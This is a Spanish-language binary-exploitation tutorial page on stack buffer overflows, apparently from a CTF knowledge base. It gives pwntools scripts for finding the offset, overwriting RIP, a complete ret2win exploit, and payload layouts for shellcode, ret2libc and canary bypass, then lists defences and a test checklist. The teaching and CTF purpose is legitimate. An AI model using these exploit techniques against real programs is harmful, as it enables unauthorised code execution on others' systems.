Stack buffer overflow
El desbordamiento de buffer en el stack es la vulnerabilidad clásica de la explotación binaria: un programa copia datos controlados por el atacante en un buffer de tamaño fijo en el stack sin comprobar el tamaño, de modo que escribir más de la cuenta sobrescribe lo que hay después del buffer —incluida la dirección de retorno de la función. Al controlar esa dirección, controlas RIP y, con ello, el flujo de ejecución.
Cómo funciona
Sección titulada «Cómo funciona»# layout del stack dentro de una función (crece hacia abajo)[ buffer local ][ RBP guardado ][ dirección de retorno ][ ... ]# si escribes más allá del buffer:[ AAAAAAAA... ][ AAAAAAAA ][ TU_DIRECCIÓN ]# al hacer 'ret', RIP = TU_DIRECCIÓN -> rediriges la ejecuciónEl fallo típico: gets(buf), strcpy(buf, user), read(0, buf, tamaño_grande) sobre un char buf[64].
Paso 1: encontrar el offset
Sección titulada «Paso 1: encontrar el offset»Necesitas saber cuántos bytes hay desde el inicio del buffer hasta la dirección de retorno:
# patrón cíclico con pwntoolscyclic 200 # genera un patrón único# ejecutas, el programa crashea; miras qué valor quedó en RIP/RSPcyclic -l 0x6161616c # te dice el offset exacto# en gdb (pwndbg): 'cyclic 200' y al crashear 'cyclic -l $rsp'Paso 2: controlar RIP
Sección titulada «Paso 2: controlar RIP»from pwn import *p = process('./vuln')offset = 72payload = b'A'*offset + p64(0xdeadbeef) # sobrescribe RIP con 0xdeadbeefp.sendline(payload)# si en el crash RIP=0xdeadbeef, tienes controlPaso 3: a dónde saltar (según protecciones)
Sección titulada «Paso 3: a dónde saltar (según protecciones)»# sin NX (stack ejecutable): meter shellcode en el stack y saltar a él (ver pwn-shellcode)payload = shellcode + relleno + p64(direccion_del_stack) # + NOP sled# con NX (lo normal hoy): no puedes ejecutar el stack -> ROP (ver pwn-rop)# ret2win (CTF): saltar a una función "ganadora" que ya existe en el binariopayload = b'A'*offset + p64(addr_win)# ret2libc: saltar a system("/bin/sh") en libc (necesita leak si ASLR)Sorteando mitigaciones
Sección titulada «Sorteando mitigaciones»# Stack Canary: hay un valor centinela antes de RIP; si lo pisas, el programa aborta# -> necesitas FILTRAR el canary (format string, leak) e incluirlo intacto en el payloadpayload = b'A'*offset_canary + p64(canary) + b'B'*8 + p64(ret_addr)# ASLR/PIE: las direcciones cambian -> necesitas un LEAK para calcular direcciones reales# NX: no shellcode en stack -> ROPEl exploit real moderno encadena: leak (bypass ASLR) → incluir canary → ROP (bypass NX).
Ejemplo completo (ret2win, CTF típico)
Sección titulada «Ejemplo completo (ret2win, CTF típico)»from pwn import *e = ELF('./vuln'); p = process('./vuln')offset = 72win = e.symbols['win'] # dirección de la función ganadorapayload = flat(b'A'*offset, p64(win))p.sendline(payload)p.interactive()Para la defensa
Sección titulada «Para la defensa»- Stack canaries (
-fstack-protector-all): detectan el overflow antes del ret. - NX/DEP: el stack no ejecutable frena el shellcode directo.
- ASLR + PIE: aleatorizan direcciones (obligan a filtrar).
- Funciones seguras:
fgets/strncpy/snprintfcon tamaños; nuncagets/strcpy/sprintfsin límite. - FORTIFY_SOURCE, compilar con warnings, sanitizers (ASan) y fuzzing (AFL++) para cazar el bug.
Checklist de prueba
Sección titulada «Checklist de prueba»- Identificar el buffer y la copia sin comprobación de tamaño
- Encontrar el offset hasta RIP (cyclic)
- Confirmar control de RIP (crash con valor controlado)
- checksec: NX/canary/PIE presentes
- Elegir estrategia: shellcode / ret2win / ret2libc / ROP
- Sortear canary (leak) y ASLR/PIE (leak)
- Construir el payload con pwntools
- Shell/flag en local → remoto